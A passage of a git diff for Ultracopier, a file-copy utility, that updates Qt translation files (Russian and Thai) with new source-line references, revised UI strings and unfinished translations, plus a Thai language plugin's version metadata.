+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation>плагин погрузчика</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation>Невозможно открыть плагин: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation>Не удается загрузить плагин содержания, пожалуйста, проверьте его: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation>Невозможно создать папку для установки плагина:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
@@ -1001,16 +1280,16 @@ since:%2</source>
С: %2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation>Папка с таким же именем существует, пропустить установки плагина:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation>Не удается загрузить плагин содержания, пожалуйста, проверьте его</translation>
</message>
@@ -1018,44 +1297,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>Ошибка выделения памяти</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>Написать об ошибке</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation>Ограничить использование памяти достиг</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation>Не. Хг файл</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation>Неподдерживаемые варианты. Заголовки XZ</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>Файл поврежден</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>Ошибка!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>Входных данных слишком короткий</translation>
</message>
@@ -1063,87 +1342,119 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation>Нет копии слушатель найдено. Сделайте копию вручную, щелкните правой кнопкой мыши один из иконки в системном трее.</translation>
+ <translation type="unfinished">Нет копии слушатель найдено. Сделайте копию вручную, щелкните правой кнопкой мыши один из иконки в системном трее.</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
- <translation>информация</translation>
+ <translation type="unfinished">информация</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
- <translation>Поиск информации ...</translation>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished">Поиск информации ...</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>Не ловить копию исследователь/перемещения</translation>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>Полу ловить копию исследователь/перемещения</translation>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>Занимаясь копию исследователь/перемещения</translation>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>Предупреждение</translation>
+ <translation type="unfinished">Предупреждение</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>Действие на значок в системном лотке, неизвестно!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
- <translation>О компании/Debug отчет</translation>
+ <translation type="unfinished">О компании/Debug отчет</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
- <translation>о</translation>
+ <translation type="unfinished">о</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
- <translation>выход</translation>
+ <translation type="unfinished">выход</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
- <translation>опции</translation>
+ <translation type="unfinished">опции</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
- <translation>Добавить копирования/перемещения</translation>
+ <translation type="unfinished">Добавить копирования/перемещения</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
- <translation>Добавить копию</translation>
+ <translation type="unfinished">Добавить копию</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
- <translation>Добавить перевод</translation>
+ <translation type="unfinished">Добавить перевод</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
- <translation>Добавить двигаться</translation>
+ <translation type="unfinished">Добавить двигаться</translation>
</message>
</context>
</TS>
diff --git a/plugins/Languages/th/flag.png b/plugins/Languages/th/flag.png
index ce5a42c..76d9cc3 100644
--- a/plugins/Languages/th/flag.png
+++ b/plugins/Languages/th/flag.png
Binary files differ
diff --git a/plugins/Languages/th/informations.xml b/plugins/Languages/th/informations.xml
index 1af8ab8..1615a99 100644
--- a/plugins/Languages/th/informations.xml
+++ b/plugins/Languages/th/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to thai. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to thai. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>th</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/th/translation.ts b/plugins/Languages/th/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/th/translation.ts
+++ b/plugins/Languages/th/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
